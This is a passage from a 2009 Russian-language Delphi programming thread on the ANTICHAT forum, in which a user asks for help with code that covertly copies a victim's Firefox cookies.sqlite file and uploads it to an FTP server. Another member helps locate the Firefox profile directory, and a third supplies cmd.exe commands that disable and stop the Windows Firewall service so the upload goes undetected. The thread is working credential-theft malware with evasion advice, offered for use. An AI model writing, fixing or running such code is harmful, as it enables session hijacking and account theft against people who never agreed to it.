HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Перезагрузить страницу Делфи и куки
   
Ответ
Страница 2 из 2 < 1 2
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 22.06.2009, 13:19
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию
Цитата:
Сообщение от KREGI  
Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
Строчка верно написана?
Да
 
Ответить с цитированием

  #12  
Старый 22.06.2009, 16:13
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
Exclamation
procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc,startdir, TMP_FILE:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Firefox,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
if FileExists(Firefox) then
begin
AssignFile(f,Firefox);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
// отправка на сервер
with IdFTP1 do try
IdFTP1.Username:='Login';
IdFTP1.Password:='pass';
IdFTP1.Host:='ftp';
Connect;

finally
if IdFTP1.Connected
then
try
IdFTP1.Put(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite','',false);
finally
if IdFTP1.Connected then
IdFTP1.Disconnect;
end;
end;
end;
end;

end.


Вот код, по идеи должны отправляться куки с компьюттера на фтп, но увы, в чем ошибка(а она есть )
 
Ответить с цитированием

  #13  
Старый 22.06.2009, 16:28
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию
Понимаешь программирование такая штука что тут надо варить своей головой и смыслить что ты пишешь

Код:
procedure TForm1.FormCreate(Sender: TObject);
var
 fireuser:string;
 find:integer;
 sf:TSearchRec;
begin
 find:=FindFirst('D:\Documents and Settings\my\Application Data\Mozilla\Firefox\Profiles\*',faDirectory,sf);
 if find=0 then
  begin
   if ((Sf.Attr and faDirectory) = faDirectory) and
    ((Sf.Name = '.') or (Sf.Name = '..')) then
    begin
      Find:=FindNext(Sf);
    end;
   find:=FindNext(sf);
   edit1.text:=sf.name;
  end;
end;
Это пример кода с одним юзером...
Мы тут узнаем самого юзера фаерфокса
Вообщем пробуй! Если что не выйдет - подскажу
 
Ответить с цитированием

  #14  
Старый 22.06.2009, 16:53
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
По умолчанию
wolmer понимаешь ээто должно происходить скрытно, сижу мучаюсь уже с утра, и не отправляет он куки, хотя другие файлы(если укажу путь) отправляет
 
Ответить с цитированием

  #15  
Старый 23.06.2009, 11:41
Fliplab
Участник форума
Регистрация: 29.07.2008
Сообщений: 128
Провел на форуме:
225836

Репутация: 34
Отправить сообщение для Fliplab с помощью ICQ
По умолчанию
Твоя задача обойти Windows Firewall и другие?
 
Ответить с цитированием

  #16  
Старый 23.06.2009, 13:01
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
По умолчанию
Fliplab найти и отправить куки удалось, но палят отправку (и блокируют) фаерволы, не знаешь как это обойти?
 
Ответить с цитированием

  #17  
Старый 23.06.2009, 16:03
JeDaSe
Познающий
Регистрация: 23.05.2009
Сообщений: 35
Провел на форуме:
104584

Репутация: 32
Отправить сообщение для JeDaSe с помощью ICQ
По умолчанию
страннно, но я это всё выкладывал(но раз лень искать)
Код:
  winexec(PChar('cmd.exe /c  sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
  winexec(PChar('cmd.exe /c  sc stop SharedAccess '),sw_normal);
 
Ответить с цитированием

  #18  
Старый 23.06.2009, 16:20
KREGI
Новичок
Регистрация: 09.02.2009
Сообщений: 23
Провел на форуме:
51759

Репутация: -9
По умолчанию
Спасибо за помощь, искал не нашел(плохо искал значит)
 
Ответить с цитированием
Ответ
Страница 2 из 2 < 1 2



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Делфи исходник фейка Mail Агент 5.1 TreV@N С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 1 06.02.2009 19:49
Делфи для Новичков..... ~Fenix~ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 21 10.06.2006 14:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ